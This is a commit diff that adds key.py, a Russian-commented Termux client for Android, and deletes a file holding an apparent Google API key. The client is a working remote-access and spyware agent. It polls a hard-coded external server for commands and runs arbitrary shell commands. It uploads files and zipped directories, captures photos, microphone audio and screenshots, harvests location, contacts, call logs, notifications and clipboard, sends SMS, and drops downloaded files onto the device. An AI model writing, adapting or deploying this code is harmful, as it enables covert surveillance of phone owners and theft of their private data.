Rename key.txt to key.py

key.py

@@ -0,0 +1,355 @@
+import requests
+import json
+import time
+import subprocess
+import os
+import shutil
+import base64
+import random
+from urllib.parse import urljoin
+
+# ЗАМЕНИТЬ ЭТУ СТРОКУ НА СВОЙ АДРЕС СЕРВЕРА
+SERVER_URL = "https://aleksmorshen-contrem2.hf.space"
+# ВАЖНО: Убедись, что Termux имеет доступ к памяти устройства: termux-setup-storage
+# Termux API: pkg install termux-api
+
+CURRENT_PATH = os.path.expanduser('~')
+TEMP_DIR = os.path.join(os.path.expanduser('~'), ".tmp_cc")
+os.makedirs(TEMP_DIR, exist_ok=True)
+
+def send_data(endpoint, data):
+    try:
+        url = urljoin(SERVER_URL, endpoint)
+        r = requests.post(url, json=data, timeout=10)
+        return r.json()
+    except requests.exceptions.RequestException as e:
+        return None
+
+def send_file(filename, file_path, is_preview=False):
+    try:
+        url = urljoin(SERVER_URL, "/upload_from_client")
+        with open(file_path, 'rb') as f:
+            files = {'file': (filename, f)}
+            data = {'is_preview': 'true' if is_preview else 'false'}
+            r = requests.post(url, files=files, data=data, timeout=60)
+            return r.json()
+    except Exception as e:
+        return {'status': 'error', 'message': str(e)}
+    finally:
+        # Очистка временного файла
+        if file_path.startswith(TEMP_DIR) and os.path.exists(file_path):
+            os.remove(file_path)
+            
+def get_command():
+    try:
+        url = urljoin(SERVER_URL, "/get_command")
+        r = requests.get(url, timeout=10)
+        if r.status_code == 200 and r.text:
+            return r.json()
+        return None
+    except requests.exceptions.RequestException:
+        return None
+
+def execute_shell(command):
+    try:
+        result = subprocess.run(command, shell=True, capture_output=True, text=True, cwd=CURRENT_PATH, timeout=30)
+        output = result.stdout + result.stderr
+        return output if output else "Команда выполнена успешно, но нет вывода."
+    except subprocess.TimeoutExpired:
+        return "Ошибка: Команда превысила время ожидания (30 сек)."
+    except Exception as e:
+        return f"Ошибка выполнения команды: {e}"
+
+def list_files(path):
+    global CURRENT_PATH
+    try:
+        if path == '~':
+            new_path = os.path.expanduser('~')
+        elif path == '/sdcard/':
+            new_path = '/sdcard/'
+        elif os.path.isabs(path):
+            new_path = path
+        else:
+            new_path = os.path.normpath(os.path.join(CURRENT_PATH, path))
+            
+        if not os.path.exists(new_path) or not os.path.isdir(new_path):
+            return f"Ошибка: Директория не найдена или недоступна: {new_path}"
+        
+        CURRENT_PATH = new_path
+        
+        file_list = []
+        for item in os.listdir(CURRENT_PATH):
+            full_path = os.path.join(CURRENT_PATH, item)
+            item_type = "[D]" if os.path.isdir(full_path) else "[F]"
+            file_list.append(f"{item_type} {item}")
+
+        output = "Содержимое директории:\n" + "\n".join(file_list)
+        return output
+    except Exception as e:
+        return f"Ошибка при просмотре файлов: {e}"
+
+def handle_upload_request(filename, is_preview=False):
+    target_file_path = os.path.join(CURRENT_PATH, filename)
+    if not os.path.exists(target_file_path):
+        return f"Ошибка: Файл '{filename}' не найден на устройстве."
+    
+    unique_filename = f"{int(time.time())}_{filename}"
+    
+    result = send_file(unique_filename, target_file_path, is_preview)
+
+    if result and result.get('status') == 'success':
+        if is_preview:
+            # Отправка дополнительного сигнала о готовности предпросмотра
+            send_data("/submit_client_data", {
+                "preview_file": result.get('filename'),
+                "mimetype": result.get('mimetype')
+            })
+            return f"Файл '{filename}' отправлен на сервер для предпросмотра."
+        else:
+            return f"Файл '{filename}' успешно загружен на сервер."
+    else:
+        return f"Ошибка загрузки файла на сервер: {result.get('message', 'Неизвестная ошибка')}"
+
+def handle_zip_and_upload(path):
+    target_path = os.path.join(CURRENT_PATH, path)
+    if not os.path.isdir(target_path):
+        return f"Ошибка: Директория не найдена или недоступна: {target_path}"
+    
+    archive_name = os.path.basename(target_path)
+    zip_path = os.path.join(TEMP_DIR, f"{archive_name}_{int(time.time())}.zip")
+    
+    try:
+        shutil.make_archive(zip_path.replace(".zip", ""), 'zip', target_path)
+        
+        filename = os.path.basename(zip_path)
+        result = send_file(filename, zip_path)
+        
+        if result and result.get('status') == 'success':
+            return f"Директория '{archive_name}' архивирована и успешно загружена на сервер как '{filename}'."
+        else:
+            return f"Ошибка загрузки архива на сервер: {result.get('message', 'Неизвестная ошибка')}"
+    except Exception as e:
+        return f"Ошибка архивации: {e}"
+    finally:
+        if os.path.exists(zip_path):
+            os.remove(zip_path)
+
+def handle_file_receive(command):
+    download_url = command.get('download_url')
+    target_path = command.get('target_path')
+    original_filename = command.get('original_filename')
+    
+    if not download_url or not target_path:
+        return "Ошибка: Неверные данные для получения файла."
+
+    try:
+        r = requests.get(download_url, stream=True, timeout=60)
+        r.raise_for_status()
+        
+        if target_path.endswith('/') or target_path.endswith('\\'):
+             final_path = os.path.join(target_path, original_filename)
+        else:
+             final_path = target_path
+        
+        # Убедимся, что директория существует
+        os.makedirs(os.path.dirname(final_path), exist_ok=True)
+
+        with open(final_path, 'wb') as f:
+            for chunk in r.iter_content(chunk_size=8192):
+                f.write(chunk)
+
+        return f"Файл успешно скачан и сохранен в: {final_path}"
+    except requests.exceptions.RequestException as e:
+        return f"Ошибка скачивания: {e}"
+    except Exception as e:
+        return f"Ошибка сохранения файла: {e}"
+
+def run_termux_api(command, *args):
+    try:
+        cmd = [command] + list(args)
+        result = subprocess.run(cmd, capture_output=True, text=True, timeout=20)
+        return result.stdout.strip(), result.stderr.strip(), result.returncode
+    except FileNotFoundError:
+        return "", "Ошибка: Termux API не установлен.", 1
+    except Exception as e:
+        return "", str(e), 1
+
+def handle_media_command(cmd_type, command):
+    if cmd_type == 'take_photo':
+        temp_file = os.path.join(TEMP_DIR, f"photo_{int(time.time())}.jpg")
+        camera_id = command.get('camera_id', '0')
+        _, err, code = run_termux_api("termux-camera-photo", "-c", camera_id, temp_file)
+        if code == 0:
+            return handle_upload_request(os.path.basename(temp_file), is_preview=False)
+        return f"Ошибка фото: {err}"
+        
+    elif cmd_type == 'record_audio':
+        duration = command.get('duration', '5')
+        temp_file = os.path.join(TEMP_DIR, f"audio_{int(time.time())}.mp3")
+        _, err, code = run_termux_api("termux-microphone-record", "-f", temp_file, "-l", duration)
+        if code == 0:
+            # Ожидаем завершения записи, хотя API должен блокировать
+            time.sleep(int(duration) + 1)
+            return handle_upload_request(os.path.basename(temp_file), is_preview=False)
+        return f"Ошибка аудио: {err}"
+        
+    elif cmd_type == 'screenshot':
+        temp_file = os.path.join(TEMP_DIR, f"screenshot_{int(time.time())}.png")
+        _, err, code = run_termux_api("termux-screenshot", "-f", temp_file)
+        if code == 0:
+            return handle_upload_request(os.path.basename(temp_file), is_preview=False)
+        return f"Ошибка скриншота: {err}"
+        
+    return f"Неизвестная медиа-команда: {cmd_type}"
+
+def get_device_status(item=None):
+    status = {}
+    
+    if item in [None, 'battery']:
+        out, _, code = run_termux_api("termux-battery-status")
+        if code == 0:
+            status['battery'] = json.loads(out)
+            
+    if item in [None, 'location']:
+        # termux-location требует gps
+        out, _, code = run_termux_api("termux-location", "-p", "gps")
+        if code == 0:
+            status['location'] = json.loads(out)
+            
+    if item in [None, 'processes']:
+        # Используем стандартный Termux ps
+        out = execute_shell("ps -o USER,PID,PPID,VSZ,RSS,STAT,START,TIME,COMMAND")
+        status['processes'] = out
+        
+    return status
+
+def get_notifications():
+    out, _, code = run_termux_api("termux-notification-list")
+    if code == 0:
+        try:
+            return json.loads(out)
+        except json.JSONDecodeError:
+            return []
+    return []
+
+def get_contacts():
+    out, _, code = run_termux_api("termux-contact-list")
+    if code == 0:
+        try:
+            return json.loads(out)
+        except json.JSONDecodeError:
+            return []
+    return []
+
+def send_sms(number, text):
+    _, err, code = run_termux_api("termux-sms-send", "-n", number, text)
+    if code == 0:
+        return f"SMS отправлено на номер {number}."
+    return f"Ошибка отправки SMS: {err}"
+    
+def get_call_log():
+    out, err, code = run_termux_api("termux-call-log")
+    if code == 0:
+        return out
+    return f"Ошибка получения журнала звонков: {err}"
+
+def handle_system_command(cmd_type, command):
+    if cmd_type == 'tts_speak':
+        text = command.get('text', 'Hello World')
+        _, err, code = run_termux_api("termux-tts-speak", text)
+        return "TTS: Озвучивание..." if code == 0 else f"TTS: Ошибка: {err}"
+    elif cmd_type == 'vibrate':
+        duration = command.get('duration', '1000')
+        _, err, code = run_termux_api("termux-vibrate", "-d", duration)
+        return f"Вибрация {duration}мс..." if code == 0 else f"Вибрация: Ошибка: {err}"
+    elif cmd_type == 'torch':
+        state = command.get('state', 'off')
+        _, err, code = run_termux_api("termux-torch", state)
+        return f"Фонарик {state}." if code == 0 else f"Фонарик: Ошибка: {err}"
+    elif cmd_type == 'get_device_info':
+        out, err, code = run_termux_api("termux-telephony-deviceinfo")
+        return out if code == 0 else f"Ошибка получения инфо: {err}"
+    elif cmd_type == 'get_wifi_info':
+        out, err, code = run_termux_api("termux-wifi-connectioninfo")
+        return out if code == 0 else f"Ошибка получения инфо Wi-Fi: {err}"
+    return f"Неизвестная системная команда: {cmd_type}"
+
+
+def main_loop():
+    print(f"Клиент Termux запущен. Сервер: {SERVER_URL}")
+    while True:
+        try:
+            # 1. Отправка сердцебиения и статуса
+            data_to_send = {"heartbeat": True, "current_path": CURRENT_PATH}
+            send_data("/submit_client_data", data_to_send)
+
+            # 2. Получение команды
+            command = get_command()
+            
+            if command:
+                cmd_type = command.get('type')
+                output = f"Выполнено: {cmd_type}"
+                
+                if cmd_type == 'shell':
+                    output = execute_shell(command.get('command'))
+                elif cmd_type == 'list_files':
+                    output = list_files(command.get('path'))
+                elif cmd_type == 'upload_to_server':
+                    is_preview = command.get('is_preview', False)
+                    output = handle_upload_request(command.get('filename'), is_preview=is_preview)
+                elif cmd_type == 'zip_and_upload_dir':
+                    output = handle_zip_and_upload(command.get('path'))
+                elif cmd_type == 'delete_file':
+                    try:
+                        os.remove(os.path.join(CURRENT_PATH, command.get('filename')))
+                        output = f"Файл {command.get('filename')} удален."
+                    except Exception as e:
+                        output = f"Ошибка удаления: {e}"
+                elif cmd_type in ['take_photo', 'record_audio', 'screenshot']:
+                    output = handle_media_command(cmd_type, command)
+                elif cmd_type == 'receive_file':
+                    output = handle_file_receive(command)
+                elif cmd_type == 'clipboard_get':
+                    out, err, code = run_termux_api("termux-clipboard-get")
+                    output = f"Буфер обмена:\n{out}" if code == 0 else f"Ошибка буфера: {err}"
+                elif cmd_type == 'clipboard_set':
+                    text = command.get('text', '')
+                    _, err, code = run_termux_api("termux-clipboard-set", text)
+                    output = "Буфер обмена установлен." if code == 0 else f"Ошибка буфера: {err}"
+                elif cmd_type == 'open_url':
+                    url = command.get('url')
+                    _, err, code = run_termux_api("termux-open-url", url)
+                    output = f"URL {url} открыт." if code == 0 else f"Ошибка открытия URL: {err}"
+                elif cmd_type == 'get_device_status':
+                    status = get_device_status(command.get('item'))
+                    send_data("/submit_client_data", {"device_status_update": status, "output": "Статус устройства обновлен."})
+                    continue
+                elif cmd_type == 'get_notifications':
+                    notifications = get_notifications()
+                    send_data("/submit_client_data", {"notifications_update": notifications, "output": f"Получено {len(notifications)} уведомлений."})
+                    continue
+                elif cmd_type == 'get_contacts':
+                    contacts = get_contacts()
+                    send_data("/submit_client_data", {"contacts_update": contacts, "output": f"Получено {len(contacts)} контактов."})
+                    continue
+                elif cmd_type == 'send_sms':
+                    output = send_sms(command.get('number'), command.get('text'))
+                elif cmd_type == 'get_call_log':
+                    output = get_call_log()
+                elif cmd_type in ['tts_speak', 'vibrate', 'torch', 'get_device_info', 'get_wifi_info']:
+                    output = handle_system_command(cmd_type, command)
+                else:
+                    output = f"Неизвестный тип команды: {cmd_type}"
+                    
+                # Отправка результата выполнения
+                send_data("/submit_client_data", {"output": output, "current_path": CURRENT_PATH})
+            
+            # 3. Задержка перед следующим опросом
+            time.sleep(5) 
+        
+        except Exception as e:
+            print(f"Критическая ошибка в цикле: {e}")
+            time.sleep(10)
+
+if __name__ == '__main__':
+    main_loop()

key.txt

@@ -1 +0,0 @@
-AIzaSyBrjdhwp8dGf8asIQxsQzTxqpMCZSo8Z_M